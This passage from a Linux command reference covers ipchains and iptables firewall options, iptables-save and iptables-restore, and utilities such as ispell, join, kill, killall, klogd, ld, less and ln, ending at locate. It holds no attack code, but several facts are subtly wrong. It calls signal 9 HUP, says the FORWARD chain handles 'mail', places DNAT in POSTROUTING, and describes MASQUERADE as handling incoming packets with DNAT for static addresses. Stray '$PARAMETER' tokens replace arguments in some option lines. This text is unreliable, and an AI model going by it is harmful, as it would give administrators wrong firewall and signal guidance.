-D address[/mask] [port ...]

The destination specification (optional). See the description of -S for the syntax, default values, and other requirements. ICMP types cannot be specified with -D.

-P protocol

The protocol of the rule or packet; possible values are tcp, udp, icmp, or all. Defaults to all, which matches all protocols. -P cannot be specified with the -c command.

-S address[/mask] [port ...]

The source IP address, specified as a hostname, a network name, or an IP address. The source address and mask default to 0.0.0.0/0. If -S is specified, -P must also be specified. The optional mask is specified as a network mask or as the number of 1s on the left of the network mask (e.g., a mask of 24 is equivalent to 255.255.255.0). The mask defaults to 32. One or more values of port may optionally be specified, indicating what ports or ICMP types the rule applies to. The default is all. Ports may be specified by their /etc/ services entry. The syntax for indicating a range of ports is:

lowport:highport

For example:

-S 172.29.16.1/24 ftp:ftp-data

-V address

The address of the network interface the packet is received from (if category is -I) or is being sent to (if category is -O). address can be a hostname or an IP address, and defaults to 0.0.0.0, which matches any interface address. -V is required with the -c command:

     -V 172.29.16.1
-W name

Identical to -V but takes a device name instead of its address:

     -W ppp0

Options

-b

Bidirectional mode. The rule matches IP packets in both directions. This option is valid only with the -a, -i, and -d commands.

-e

Extended output. Used with the -l command to also show the interface address and any rule options. When listing firewall rules, also shows the packet and byte counters and the TOS (Type of Service) masks. When used with -M, also shows information related to delta sequence numbers.

-k

Match TCP acknowledgment packets (i.e., only TCP packets with the ACK bit set). This option is ignored for all other protocols and is valid only with the -a, -i, and -d commands.

-m

Accept masquerade packets for forwarding, making them appear to have originated from the local host. Recognizes reverse packets and automatically demasquerades them, bypassing the forwarding firewall. This option is valid only in forwarding firewall rules with policy accept. The kernel must have been compiled with CONFIG_IP_MASQUERADE defined.

-n

Numeric output. Print IP addresses and port numbers in numeric format.

-o

Log packets that match this rule to the kernel log. This option is valid only with the -a, -i, and -d commands. The kernel must have been compiled with CONFIG_IP_FIREWALL_VERBOSE defined.

-r [port]

Redirect packets to a local socket, even if they were sent to a remote host. If port is 0 (the default), the packet's destination port is used. This option is valid only in input firewall rules with policy accept. The kernel must have been compiled with CONFIG_IP_TRANSPARENT_ PROXY defined.

-t andmask xormask

Specify masks used for modifying the TOS field in the IP header. When a packet is accepted (with or without masquerading) by a firewall rule, its TOS field is bitwise ANDed with andmask, and the result is bitwise XORed with xormask. The masks are specified as 8-bit hexadecimal values. This option is valid only with the -a, -i, and -d commands and has no effect when used with accounting rules or with firewall rules for rejecting or denying a packet.

-v

Verbose output. Print detailed information about the rule or packet to be added, deleted, or checked. This option is valid only with the -a, -i, -d, and -c commands.

-x

Expand numbers. Display the exact value of the packet and byte counters, instead of a rounded value. This option is valid only when the counters are being listed anyway (see also the -e option).

-y

Match TCP packets with the SYN bit set and the ACK bit cleared. This option is ignored for packets of other protocols and is valid only with the -a, -i, and -d commands.

iptables

iptables command [options]

System administration command. Configure netfilter filtering rules. In the 2.4 kernel, the ipchains firewall capabilities are replaced with the netfilter kernel module. netfilter can be configured to work just like ipchains, but it also comes with the module iptables, which is similar to ipchains but extensible. iptables rules consist of some matching criteria and a target, a result to be applied if the packet matches the criteria. The rules are organized into chains. You can use these rules to build a firewall, masquerade your local area network, or just reject certain kinds of network connections.

There are three built-in tables for iptables, one for network filtering (filter), one for Network Address Translation (nat), and the last for specialized packet alterations (mangle). Firewall rules are organized into chains, ordered check lists of rules that the kernel works through looking for matches. The filter table has three built-in chains: INPUT, OUTPUT, and FORWARD. The INPUT and OUTPUT chains handle packets originating from or destined for the host system. The FORWARD chain handles mail just passing through the host system. The nat table also has three built-in chains: PREROUTING, POSTROUTING, and OUTPUT. mangle has only two chains: PREROUTING and OUTPUT.

netfilter checks packets entering the system. After applying any PREROUTING rules it passes them to the INPUT chain or to the FORWARD chain if the packet is just passing through. Upon leaving, the system packets are passed to the OUTPUT chain and then on to any POSTROUTING rules. Each of these chains has a default target, a policy, in case no match is found. User-defined chains can also be created and used as targets for packets but do not have default policies. If no match can be found in a user-defined chain, the packet is returned to the chain from which it was called and tested against the next rule in that chain.

iptables only changes the rules in the running kernel. When the system is powered off, all changes are lost. You can use the iptables-save command to make a script you can run with iptables-restore to restore your firewall settings. Such a script is often called at bootup. Many distributions will have an iptables initialization script that uses the output from iptables-save.

Commands

iptables is always invoked with one of the following commands:

-A chain rules, --append chain rules

Append new rules to chain.

-I chain number rules, --insert chain number rules

Insert rules into chain at the ordinal position given by number.

-D chain rules, --delete chain rules

Delete rules from chain. Rules can be specified by their ordinal number in the chain as well as by a general rule description.

-R chain number rule, --replace chain number rule

Replace a rule in chain. The rule to be replaced is specified by its ordinal number.

-C chain rule, --check chain rules

Check how chain will handle a network packet that matches the given rule. The rule must describe the source, destination, protocol, and interface of the packet to be constructed.

-L [chain], --list $PARAMETER

List the rules in chain or all chains if chain is not specified.

-F [chain], --flush chain

Remove all rules from chain or from all chains if chain is not specified.

-Z [chain], --zero chain

Zero the packet and byte counters in chain. If no chain is specified, all chains will be reset. When used without specifying a chain and combined with the -L command, it lists the current counter values before they are reset chain.

-N chain, --new-chain chain

Create a new chain. The chain's name must be unique. This is how user-defined chains are created.

-X [chain], --delete-chain chain

Delete the specified user-defined chain or all user-defined chains if no chain is specified.

-P chain target, --policy chain target

Set the default policy for a built-in chain; the target itself cannot be a chain.

-E old-chain new-chain, --rename-chain old-chain new-chain

Rename old-chain to new-chain.

-h [icmp]

Print a brief help message. If the option icmp is given, print a list of valid ICMP types.

Targets

A target may be the name of a chain or one of the following special values.

ACCEPT

Let the packet through.

DROP

Drop the packet.

QUEUE

Send packets to the user space for processing.

RETURN

Stop traversing the current chain and return to the point in the previous chain from which this one was called. If RETURN is the target of a rule in a built-in chain, the built-in chain's default policy is applied.

Rule specification parameters

These options are used to create rules for use with the preceding commands. Rules consist of some matching criteria and usually a target to jump to (-j) if the match is made. Many of the parameters for these matching rules can be expressed as a negative with an exclamation point (!) meaning "not." Those rules will match everything except the given parameter.

-p [!] name, --protocol [!]$PARAMETER

Match packets of protocol name. The value of name can be given as a name or number as found in the file /etc/protocols. The most common values are tcp, udp, icmp, or the special value all. The number 0 is equivalent to all and this is the default value when this option is not used. If there are extended matching rules associated with the specified protocol, they will be loaded automatically. You need not use the -m option to load them.

-s [!] address[/mask] [!] [port], --source [!] address[/mask] [!] [port]

Match packets with the source address. The address may be supplied as a hostname, a network name, or an IP address. The optional mask is the netmask to use and may be supplied either in the traditional form (e.g., /255.255.255.0) or in the modern form (e.g., /24).

-d [!] address[/mask] [!] [port], --destination [!] address[/mask] [port]

Match packets from the destination address. See the description of -s for the syntax of this option.

-j target, --jump target

Jump to a special target or a user-defined chain. If this option is not specified for a rule, matching the rule only increases the rule's counters, and the packet is tested against the next rule.

-i [!] name[+], --in-interface name[+]

Match packets being received from interface name. name is the network interface used by your system (e.g., eth0 or ppp0). A + can be used as a wildcard, so ppp+ would match any interface name beginning with ppp

-o [!] name[+], --out-interface name[+]

Match packets being sent from interface name. See the description of -i for the syntax for name.

[!] -f, [!]--fragment $PARAMETER

The rule applies only to the second or further fragments of a fragmented packet.

Options

-v, --verbose

Verbose mode.

-n, --numeric

Print all IP address and port numbers in numeric form. By default, text names are displayed when possible.

-x, --exact

Expand all numbers in a listing (-L). Display the exact value of the packet and byte counters instead of rounded figures.

-m module, --match

Explicitly load matching rule extensions associated with module. See the following section, "Match Extensions."

-h [icmp], --help [icmp]

Print help message. If icmp is specified, a list of valid ICMP type names will be printed. -h can also be used with the -m option to get help on an extension module.

--line-numbers

Used with the -L command. Add the line number to the beginning of each rule in a listing, indicating its position in the chain.

Match extensions

Several kernel modules come with netfilter to extend matching capabilities of rules. Those associated with particular protocols are loaded automatically when the -p option is used to specify the protocol. Others need to be loaded explicitly with the -m option.

tcp

Loaded when -p tcp is the only protocol specified.

--source-port [!] [port][:port], --sport [!] [port][:port]

Match the specified source ports. Using the colon specifies an inclusive range of services to match. If the first port is omitted, 0 is the default. If the second port is omitted, 65535 is the default. You can also use a dash instead of a colon to specify the range.

--destination-port [!] [port][:port], --dport [!] [port][:port]

Match the specified destination ports. The syntax is the same as for --source-port.

--tcp-flags [!] mask comp

Match the packets with the TCP flags specified by mask and comp. mask is a comma-separated list of flags that should be examined. comp is a comma-separated list of flags that must be set for the rule to match. Valid flags are SYN, ACK, FIN, RST, URG, PSH, ALL, and NONE.

[!] --syn

Match packets with the SYN bit set and the ACK and FIN bits cleared. These are packets that request TCP connections; blocking them prevents incoming connections. Shorthand for --tcp-flags SYN,RST,ACK SYN.

udp

Loaded when -p udp is the only protocol specified.

--source-port [!] [port][:port], --sport [!] [port][:port]

Match the specified source ports. The syntax is the same as for the --source-port option of the TCP extension.

--destination-port [!] [port][:port], --dport [!] [port][:port]

Match the specified destination ports. The syntax is the same as for --source-port option of the TCP extension.

icmp

Loaded when -p icmp is the only protocol specified.

--icmp-type [!] type

Match the specified icmp type. type may be a numeric ICMP type or one of the ICMP type names shown by the command iptables -p icmp -h.

mac

Loaded explicitly with the -m option.

--mac-source [!] address

Match the source address that transmitted the packet. address must be given in colon-separated hexbyte notation (for example, --mac-source 00:60:08:91:CC:B7.

limit

Loaded explicitly with the -m option. The limit extensions are used to limit the number of packets matched. This is useful when combined with the LOG target. Rules using this extension match until the specified limit is reached.

--limit rate

Match addresses at the given rate. rate is specified as a number with an optional /second, /minute, hour, or /day suffix. When this option is not set, the default is '3/hour'.

--limit-burst [number]

Set the maximum number of packets to match in a burst. Once the number has been reached, no more packets are matched for this rule until the number has recharged. It recharges at the rate set by the --limit option. When not specified, the default is 5.

multiport

Loaded explicitly with the -m option. The multiport extensions match sets of source or destination ports. These rules can be used only in conjunction with -p tcp and -p udp. Up to 15 ports can be specified in a comma-separated list.

--source-port [ports]

Match the given source ports.

--destination-port [ports]

Match the given destination ports.

--port [ports]

Match if the packet has the same source and destination port and that port is one of the given ports.

mark

Loaded explicitly with the -m option. This module works with the MARK extension target:

--mark value[/mask]

Match the given unsigned mark value. If a mask is specified, it is logically ANDed with the mark before comparison.

owner

Loaded explicitly with the -m option. The owner extensions match a local packet's creator's user, group process, and session IDs. This makes sense only as a part of the OUTPUT chain.

--uid-owner userid

Match packets created by a process owned by userid.

--gid-owner groupid

Match packets created by a process owned by groupid.

--pid-owner processid

Match packets created by process ID processid.

--sid-owner sessionid

Match packets created by a process in the session sessionid.

state

Loaded explicitly with the -m option. This module matches the connection state of a packet.

--state states

Match the packet if it has one of the states in the comma-separated list states. Valid states are INVALID, ESTABLISHED, NEW, and RELATED.

tos

Loaded explicitly with the -m option. This module matches the Type of Service field in a packet's header.

--tos value

Match the packet if it has a TOS of value. value can be a numeric value or a Type of Service name. iptables -m tos -h will give you a list of valid TOS values.

Target extensions

Extension targets are optional additional targets supported by separate kernel modules. They have their own associated options.

LOG

Log the packet's information in the system log.

--log-level level

Set the syslog level by name or number (as defined by syslog.conf).

--log-prefix prefix

Begin each log entry with the string prefix. The prefix string may be up to 30 characters long.

--log-tcp-sequence

Log the TCP sequence numbers. This is a security risk if your log is readable by users.

--log-tcp-options

Log options from the TCP packet header.

--log-ip-options

Log options from the IP packet header.

MARK

Used to mark packets with an unsigned integer value you can use later with the mark matching extension. Valid only with the mangle table.

--set-mark value

Mark the packet with value.

REJECT

Drop the packet and, if appropriate, send an ICMP message back to the sender indicating the packet was dropped. If the packet was an ICMP error message, an unknown ICMP type, or a nonhead fragment, or if too many ICMP messages have already been sent to this address, no message is sent.

--reject-with type

Send the specified ICMP message type. Valid values are icmp-net-unreachable, icmp-host- unreachable, icmp-port-unreachable, or icmp-proto-unreachable. If the packet was an ICMP ping packet, type may also be echo-reply.

TOS

Set the Type of Service field in the IP header. TOS is a valid target only for rules in the mangle table.

--set-tos value

Set the TOS field to value. You can specify this as an 8-bit value or as a TOS name. You can get a list of valid names using iptables -j TOS -h.

SNAT

Modify the source address of the packet and all future packets in the current connection. SNAT is valid only as a part of the POSTROUTING chain in the nat table.

--to-source address[-address][port-port]

Specify the new source address or range of addresses. If a tcp or udp protocol has been specified with the -p option, source ports may also be specified. If none is specified, map the new source to the same port if possible. If not, map ports below 512 to other ports below 512, those between 512 and 1024 to other ports below 1024, and ports above 1024 to other ports above 1024.

DNAT

Modify the destination address of the packet and all future packets in the current connection. DNAT is valid only as a part of the POSTROUTING chain in the nat table.

--to-destination address[-address][port-port]

Specify the new destination address or range of addresses. The arguments for this option are the same as the --to-source argument for the SNAT extension target.

MASQUERADE

Masquerade the packet so it appears that it originated from the current system. Reverse packets from masqueraded connections are unmasqueraded automatically. This is a legal target only for chains in the nat table that handle incoming packets and should be used only with dynamic IP addresses (like dial-up.) For static addresses use DNAT.

--to-ports port[-port]

Specify the port or range of ports to use when masquerading. This option is only valid if a tcp or udp protocol has been specified with the -p option. If this option is not used, the masqueraded packet's port will not be changed.

REDIRECT [--to-port port]

Redirect the packet to a local port. This is useful for creating transparent proxies.

--to-ports port[-port]

Specify the port or range of ports on the local system to which the packet should be redirected. This option is valid only if a tcp or udp protocol has been specified with the -p option. If this option is not used, the redirected packet's port will not be changed.

iptables-restore

iptables-restore [file]

System administration command. Restore firewall rules. iptables-restore takes commands generated by iptables-save and uses them to restore the firewall rules for each chain. Often used by initialization scripts to restore firewall settings on boot. file is the name of a file whose contents were generated by iptables-save. If not specified, the command takes its input from stdin. This command was not completed at the time this book went to print. There may be options not listed here.

iptables-save

iptables-save [chain]

System administration command. Print the IP firewall rules currently stored in the kernel to stdout. If no chain is given, all chains will be printed. Output may be redirected to a file that can later be used by iptables-restore to restore the firewall. This command was not completed at the time this book went to print. There may be options not listed here.

ispell

ispell [options] [files]

Compare the words of one or more named files with the system dictionary. Display unrecognized words on the top of the screen, accompanied by possible correct spellings, and allow editing, via a series of commands.

Options

-b

Back up original file in filename.bak.

-d file

Search file instead of standard dictionary file.

-m

Suggest different root/affix combinations.

-n

Expect nroff or troff input file.

-p file

Search file instead of personal dictionary file.

-t

Expect TeX or LaTeX input file.

-w chars

Consider chars to be legal, in addition to a-z and A-Z.

-x

Do not back up original file.

-B

Search for missing blanks (resulting in concatenated words) in addition to ordinary misspellings.

-C

Do not produce error messages in response to concatenated words.

-L number

Show number lines of context.

-M

List interactive commands at bottom of screen.

-N

Suppress printing of interactive commands.

-P

Do not attempt to suggest more root/affix combinations.

-S

Sort suggested replacements by likelihood that each is correct.

-T type

Expect all files to be formatted by type.

-W n

Never consider words that are n characters or less to be misspelled.

-V

Use hat notation (^L) to display control characters and M- to display characters with the high bit set.

Interactive Commands

?

Display help screen.

space character

Accept the word in this instance.

number

Replace with suggested word that corresponds to number.

!command

Invoke shell and execute command in it. Prompt before exiting.

a

Accept word as correctly spelled, but do not add it to personal dictionary.

i

Accept word and add it (capitalized, if so in file) to personal dictionary.

l

Search system dictionary for words.

q

Exit without saving.

r

Replace word.

u

Accept word and add lowercase version of it to personal dictionary.

x

Skip to the next file, saving changes.

^L

Redraw screen.

^Z

Suspend ispell.

join

join [options] file1 file2

Join lines of two sorted files by matching on a common field. If either file1 or file2 is -, read from standard input.

Options

-a filenum

Print a line for each unpairable line in file filenum, in addition to the normal output.

-e string

Replace missing input fields with string.

-i, --ignore-case

Ignore case differences when comparing keys.

-1 fieldnum1

Join field in file1 is fieldnum1. Default is the first field.

-2 fieldnum2

Join field in file2 is fieldnum2. Default is the first field.

-o fieldlist

Order the output fields according to fieldlist, where each entry in the list is in the form filenum.fieldnum. Entries are separated by commas or blanks.

-t char

Specifies the field-separator character (default is whitespace ).

-v filenum

Print only unpairable lines from file filenum.

--help

Print help message and then exit.

--version

Print the version number and then exit.

kbd_mode

kbd_mode [option]

Print or set the current keyboard mode, which may be RAW, MEDIUMRAW, or XLATE.

Options

-a

Set mode to XLATE (ASCII mode).

-k

Set mode to MEDIUMRAW (keycode mode).

-s

Set mode to RAW (scancode mode).

-u

Set mode to UNICODE (UTF-8 mode).

kbdrate

kbdrate [options]

System administration command. Control the rate at which the keyboard repeats characters, as well as its delay time. Using this command without options sets a repeat rate of 10.9 characters per second; the default delay is 250 milliseconds. When Linux boots, however, it sets the keyboard rate to 30 characters per second.

Options

-s

Suppress printing of messages.

-r rate

Specify the repeat rate, which must be one of the following numbers (all in characters per second): 2.0, 2.1, 2.3, 2.5, 2.7, 3.0, 3.3, 3.7, 4.0, 4.3, 4.6, 5.0, 5.5, 6.0, 6.7, 7.5, 8.0, 8.6, 9.2, 10.0, 10.9, 12.0, 13.3, 15.0, 16.0, 17.1, 18.5, 20.0, 21.8, 24.0, 26.7, or 30.0.

-d delay

Specify the delay, which must be one of the following (in milliseconds): 250, 500, 750, or 1000.

kerneld

kerneld

System administration command. kerneld automatically loads kernel modules when they are needed, thereby reducing kernel memory usage from unused loaded modules and replacing manual loading of modules with modprobe or insmod. If a module has not been used for more than one minute, kerneld automatically removes it.

kerneld comes with the modules-utilities package and is set up during kernel configuration; its functionality is provided by interactions between that package and the kernel. kerneld is aware of most common types of modules. When more than one possible module can be used for a device (such as a network driver), kerneld uses the configuration file /etc/conf.modules, which contains path information and aliases for all loadable modules, to determine the correct module choice.

kerneld can also be used to implement dial-on-demand networking, such as SLIP or PPP connections. The network connection request can be processed by kerneld to load the proper modules and set up the connection to the server.

kill

kill [option] IDs

This is the /bin/kill command; there is also a shell command of the same name. Send a signal to terminate one or more process IDs. You must own the process or be a privileged user. If no signal is specified, TERM is sent.

Options

-l

List all signals.

-p

Print the process ID of the named process, but don't send it a signal. To use this option, specify the full path (e.g., /bin/kill -p).

-signal

The signal number (from /usr/include/sys/signal.h) or name (from kill -l). With a signal number of 9 (HUP), the kill cannot be caught by the process; use this to kill a process that a plain kill doesn't terminate. The default is TERM.

killall

killall [options] names

Kill processes by command name. If more than one process is running the specified command, kill all of them. Treat command names that contain a / as files; kill all processes that are executing that file.

Options

-signal

Send signal to process (default is TERM). signal may be a name or number.

-e

Require an exact match to kill very long names (i.e., longer than 15 characters). Normally, killall kills everything that matches within the first 15 characters. With -e, such entries are skipped. (Use -v to print a message for each skipped entry.)

-g

Kill the process group to which the process belongs.

-i

Prompt for confirmation before killing processes.

-l

List known signal names.

-q

Quiet; do not complain of processes not killed.

-v

Verbose: after killing process, report success and process ID.

-V

Print version information.

-w

Wait for all killed processes to die. Note that killall may wait forever if the signal was ignored or had no effect, or if the process stays in zombie state.

killall5

killall5

The System V equivalent of killall, this command kills all processes except those on which it depends.

klogd

klogd [options]

System administration command. Control which kernel messages are displayed on the console; prioritize all messages, and log them through syslogd. On many operating systems, syslogd performs all the work of klogd, but on Linux the features are separated. Kernel messages are gleaned from the /proc filesystem and from system calls to syslogd. By default, no messages appear on the console. Messages are sorted into 8 levels, 0-7, and the level number is prepended to each message.

Priority levels

0

Emergency situation (KERN_EMERG).

1

A crucial error has occurred (KERN_ALERT).

2

A serious error has occurred (KERN_CRIT).

3

An error has occurred (KERN_ERR).

4

A warning message (KERN_WARNING).

5

The situation is normal but should be checked (KERN_NOTICE).

6

Information only (KERN_INFO).

7

Debugging messages (KERN_DEBUG).

Options

-c level

Print all messages of a higher priority (lower number) than level to the console.

-d

Debugging mode.

-f file

Print all messages to file; suppress normal logging.

-k file

Use file as source of kernel symbols.

-n

Avoid autobackgrounding. This is needed when klogd is started from init.

-o

One-shot mode. Prioritize and log all current messages, then immediately exit.

-s

Suppress reading of messages from the /proc filesystem.

Files

/usr/include/linux/kernel.h, /usr/include/sys/syslog.h

Sources for definitions of each logging level

/proc/kmsg

A file examined by klogd for messages

/var/run/klogd.pid

klogd's process ID

ksyms

ksyms [options]

System administration command. Print a list of all exported kernel symbols (name, address, and defining module, if applicable).

Options

-a

Include symbols from unloaded modules.

-h

Suppress header message.

-m

Include starting address and size. Useful only for symbols in loaded modules.

File

/proc/ksyms

Another source of the same information

lastlog

lastlog [options]

System administration command. Print the last login times for system accounts. Login information is read from the file /var/log/lastlog.

Options

-t n

Print only logins more recent than n days ago.

-u name

Print only login information for user name.

ld

ld [options] objfiles

Combine several objfiles, in the specified order, into a single executable object module (a.out by default). ld is the link editor and is often invoked automatically by compiler commands.

Options

-c file

Consult file for commands.

-d, -dc, -dp

Force the assignment of space to common symbols.

-defsym symbol=expression

Create the global symbol with the value expression.

-e symbol

Set symbol as the address of the output file's entry point.

-i

Produce a linkable output file; attempt to set its magic number to OMAGIC.

-l arch

Include the archive file arch in the list of files to link.

-m linker

Emulate linker.

-n

Make text read-only; attempt to set NMAGIC.

-noinhibit-exec

Produce output file even if errors are encountered.

-o output

Place output in output, instead of a.out.

-oformat format

Specify output format.

-r

Produce a linkable output file; attempt to set its magic number to OMAGIC.

-s

Do not include any symbol information in output.

-shared

Create a shared library.

-sort-common

Do not sort global common symbols by size.

-t

Announce each input file's name as it is processed.

-u symbol

Force symbol to be undefined.

-v, --version

Show version number.

--verbose

Print information about ld; print the names of input files while attempting to open them.

-warn-common

Warn when encountering common symbols combined with other constructs.

-warn-once

Provide only one warning per undefined symbol.

-x

With -s or -S, delete all local symbols that begin with L.

-L dir

Search directory dir before standard search directories (this option must precede the -l option that searches that directory).

-M

Display a link map on standard out.

-Map file

Print a link map to file.

-N

Allow reading of and writing to both data and text; mark ouput if it supports Unix magic numbers; do not page-align data.

-R file

Obtain symbol names and addresses from file, but suppress relocation of file and its inclusion in output.

-S

Do not include debugger symbol information in output.

-Tbss address

Begin bss segment of output at address.

-Tdata address

Begin data segment of output at address.

-Ttext address

Begin text segment of output at address.

-Ur

Synonymous with -r except when linking C++ programs, where it resolves constructor references.

-X

With -s or -S, delete local symbols beginning with L.

-V

Show version number and emulation linkers for -m option.

ldconfig

ldconfig [options] directories

System administration command. Examine the libraries in the given directories, /etc/ld.so.conf, /usr/lib, and /lib; update links and cache where necessary. Usually run in startup files or after the installation of new shared libraries.

Options

-D

Debug. Suppress all normal operations.

-l

Library mode. Expect libraries as arguments, not directories. Manually link specified libraries.

-n

Suppress examination of /usr/lib and /lib and reading of /etc/ld.so.conf; do not cache.

-N

Do not cache; only link.

-p

Print all directories and candidate libraries in the cache. Expects no arguments.

-v

Verbose. Include version number, and announce each directory as it is scanned and links as they are created.

-X

Do not link; only rebuild cache.

Files

/lib/ld.so

Linker and loader.

/etc/ld.so.conf

List of directories that contain libraries.

/etc/ld.so.cache

List of the libraries found in those libraries mentioned in /etc/ld.so.conf.

ldd

ldd [options] programs

Display a list of the shared libraries each program requires.

Options

-v

Display ldd's version.

-V

Display the linker's version.

less

less [options] [filename]

less is a program for paging through files or other output. It was written in reaction to the perceived primitiveness of more (hence its name). Some commands may be preceded by a number.

Options

-[z]num

Set number of lines to scroll to num. Default is one screenful. A negative num sets the number to num lines less than the current number.

+[+]command

Run command on startup. If command is a number, jump to that line. The option ++ applies this command to each file in the command-line list.

-?

Print help screen. Ignore all other options; do not page through file.

-a

When searching, begin after last line displayed. (Default is to search from second line displayed.)

-b buffers

Use buffers buffers for each file (default is 10). Buffers are 1 kilobyte in size.

-c

Redraw screen from top, not bottom.

-d

Suppress dumb-terminal error messages.

-e

Automatically exit after reaching EOF twice.

-f

Force opening of directories and devices; do not print warning when opening binaries.

-g

Highlight only string found by past search command, not all matching strings.

-h num

Never scroll backward more than num lines at once.

-i

Make searches case-insensitive, unless the search string contains uppercase letters.

-j num

Position target line on line num of screen. Target line can be the result of a search or a jump. Count lines beginning from 1 (top line). A negative num is counted back from bottom of screen.

-k file

Read file to define special key bindings.

-m

Display more-like prompt, including percent of file read.

-n

Do not calculate line numbers. Affects -m and -M options and = and v commands (disables passing of line number to editor).

-o file

When input is from a pipe, copy output to file as well as to screen. (Prompt for overwrite authority if file exists.)

-p pattern

At startup, search for first occurrence of pattern.

m

Set medium prompt (specified by -m).

M

Set long prompt (specified by -M).

=

Set message printed by = command.

-q

Disable ringing of bell on attempts to scroll past EOF or before beginning of file. Attempt to use visual bell instead.

-r

Display "raw" control characters, instead of using ^x notation. Sometimes leads to display problems.

-s

Print successive blank lines as one line.

-t tag

Edit file containing tag. Consult ./tags (constructed by ctags).

-u

Treat backspaces and carriage returns as printable input.

-w

Print lines after EOF as blanks instead of tildes (~).

-x n

Set tab stops to every n characters. Default is 8.

-y n

Never scroll forward more than n lines at once.

-B

Do not automatically allocate buffers for data read from a pipe. If -b specifies a number of buffers, allocate that many. If necessary, allow information from previous screens to be lost.

-C

Redraw screen by clearing it and then redrawing from top.

-E

Automatically exit after reaching EOF once.

-G

Never highlight matching search strings.

-I

Make searches case-insensitive, even when the search string contains uppercase letters.

-M

Prompt more verbosely than with -m, including percentage, line number, and total lines.

-N

Print line number before each line.

-O file

Similar to -o but does not prompt when overwriting file.

-P[m,M,=]prompt

Set prompt (as defined by -m, -M, or =). Default is short prompt (-m).

-Q

Never ring terminal bell.

-S

Cut, do not fold, long lines.

-T file

With the -t option or :t command, read file instead of ./tags.

-U

Treat backspaces and carriage returns as control characters.

-X

Do not send initialization and deinitialization strings from termcap to terminal.

Commands

Many commands can be preceded by a numeric argument, referred to as number in the command descriptions.

SPACE, ^V, f, ^F

Scroll forward the default number of lines (usually one windowful).

z

Similar to SPACE but allows the number of lines to be specified, in which case it resets the default to that number.

RETURN, ^N, e, ^E, j, ^J

Scroll forward. Default is one line. Display all lines, even if the default is more lines than the screen size.

d, ^D

Scroll forward. Default is one-half the screen size. The number of lines may be specified, in which case the default is reset.

b, ^B, ESC-v

Scroll backward. Default is one windowful.

w

Like b but allows the number of lines to be specified, in which case it resets the default to that number.

y, ^Y, ^P, k, ^K

Scroll backward. Default is one line. Display all lines, even if the default is more lines than the screen size.

u, ^U

Scroll backward. Default is one-half the screen size. The number of lines may be specified, in which case the default is reset.

r, ^R, ^L

Redraw screen.

R

Like r but discard buffered input.

F

Scroll forward. When an EOF is reached, continue trying to find more output, behaving similarly to tail -f.

g, <, ESC-<

Skip to a line. Default is 1.

G, >, ESC->

Skip to a line. Default is the last one.

p, %

Skip to a position number percent of the way into the file.

{

If the top line on the screen includes a {, find its matching }. If the top line contains multiple {s, use number to determine which one to use in finding a match.

}

If the bottom line on the screen includes a }, find its matching {. If the bottom line contains multiple }s, use number to determine which one to use in finding a match.

(

If the top line on the screen includes a (, find its matching ). If the top line contains multiple (s, use number to determine which one to use in finding a match.

)

If the bottom line on the screen includes a ), find its matching (. If the bottom line contains multiple )s, use number to determine which one to use in finding a match.

[

If the top line on the screen includes a [, find its matching ]. If the top line contains multiple [s, use number to determine which one to use in finding a match.

]

If the bottom line on the screen includes a ], find its matching [. If the bottom line contains multiple ]s, use number to determine which one to use in finding a match.

ESC-^F

Behave like { but prompt for two characters, which it substitutes for { and } in its search.

ESC-^B

Behave like } but prompt for two characters, which it substitutes for { and } in its search.

m

Prompt for a lowercase letter and then use that letter to mark the current position.

'

Prompt for a lowercase letter and then go to the position marked by that letter. There are some special characters:

'

Return to position before last "large movement."

^

Beginning of file.

$

End of file.

^X^X

Same as '.

/pattern

Find next occurrence of pattern, starting at second line displayed. Some special characters can be entered before pattern:

!

Find lines that do not contain pattern.

*

If current file does not contain pattern, continue through the rest of the files in the command line list.

@

Search from the first line in the first file specified on the command line, no matter what the screen currently displays.

?pattern

Search backward, beginning at the line before the top line. Treats !, *, and @ as special characters when they begin pattern, as / does.

ESC-/pattern

Same as /*.

ESC-?pattern

Same as ?*.

n

Repeat last pattern search.

N

Repeat last pattern search, in the reverse direction.

ESC-n

Repeat previous search command but as though it were prefaced by *.

ESC-N

Repeat previous search command but as though it were prefaced by * and in the opposite direction.

ESC-u

Toggle search highlighting.

:e [filename]

Read in filename and insert it into the command-line list of filenames. Without filename, reread the current file. filename may contain special characters:

%

Name of current file

#

Name of previous file

^X^V, E

Same as :e.

:n

Read in next file in command-line list.

:p

Read in previous file in command-line list.

:x

Read in first file in command-line list.

:f, =, ^G

Print filename, position in command-line list, line number on top of window, total lines, byte number, and total bytes.

-

Expects to be followed by a command-line option letter. Toggles the value of that option or, if appropriate, prompts for its new value.

-+

Expects to be followed by a command-line option letter. Resets that option to its default.

--

Expects to be followed by a command-line option letter. Resets that option to the opposite of its default, where the opposite can be determined.

_

Expects to be followed by a command-line option letter. Display that option's current setting.

+command

Execute command each time a new file is read in.

q, :q, :Q, ZZ

Exit.

v

Not valid for all versions. Invoke editor specified by $VISUAL or $EDITOR, or vi if neither is set.

! [command]

Not valid for all versions. Invoke $SHELL or sh. If command is given, run it and then exit. Special characters:

%

Name of current file

#

Name of previous file

!!

Last shell command

| mark-letter command

Not valid for all versions. Pipe fragment of file (from first line on screen to mark-letter) to command. mark-letter may also be:

^

Beginning of file.

$

End of file.

., newline

Current screen is piped.

Prompts

The prompt interprets certain sequences specially. Those beginning with % are always evaluated. Those beginning with ? are evaluated if certain conditions are true. Some prompts determine the position of particular lines on the screen. These sequences require that a method of determining that line be specified. See the -P option and the manpage for more information.

ln

ln [options] sourcename [destname]

ln [options] sourcenames destdirectory

Create pseudonyms (links) for files, allowing them to be accessed by different names. In the first form, link sourcename to destname, where destname is usually a new filename, or (by default) the current directory. If destname is an existing file, it is overwritten; if destname is an existing directory, a link named sourcename is created in that directory. In the second form, create links in destdirectory, each link having the same name as the file specified.

Options

-b, --backup

Back up files before removing the originals.

-d, -F, --directory

Allow hard links to directories. Available to privileged users.

-f, --force

Force the link (don't prompt for overwrite permission).

--help

Print a help message and then exit.

-i, --interactive

Prompt for permission before removing files.

-n, --no-dereference

Replace symbolic links to directories instead of dereferencing them. --force is useful with this option.

-s, --symbolic

Create a symbolic link. This lets you link across filesystems and also see the name of the link when you run ls -l (otherwise, there's no way to know the name that a file is linked to).

-S suffix, --suffix suffix

Append suffix to files when making backups, instead of the default ~.

-v, --verbose

Verbose mode.

--version

Print version information and then exit.

-V, --version-control value

Control the types of backups made. The acceptable values for version-control are:

t, numbered

Numbered.

nil,existing

Simple (~) unless a numbered backup exists; then make a numbered backup.

never, simple

Simple.

locate

locate [options] pattern

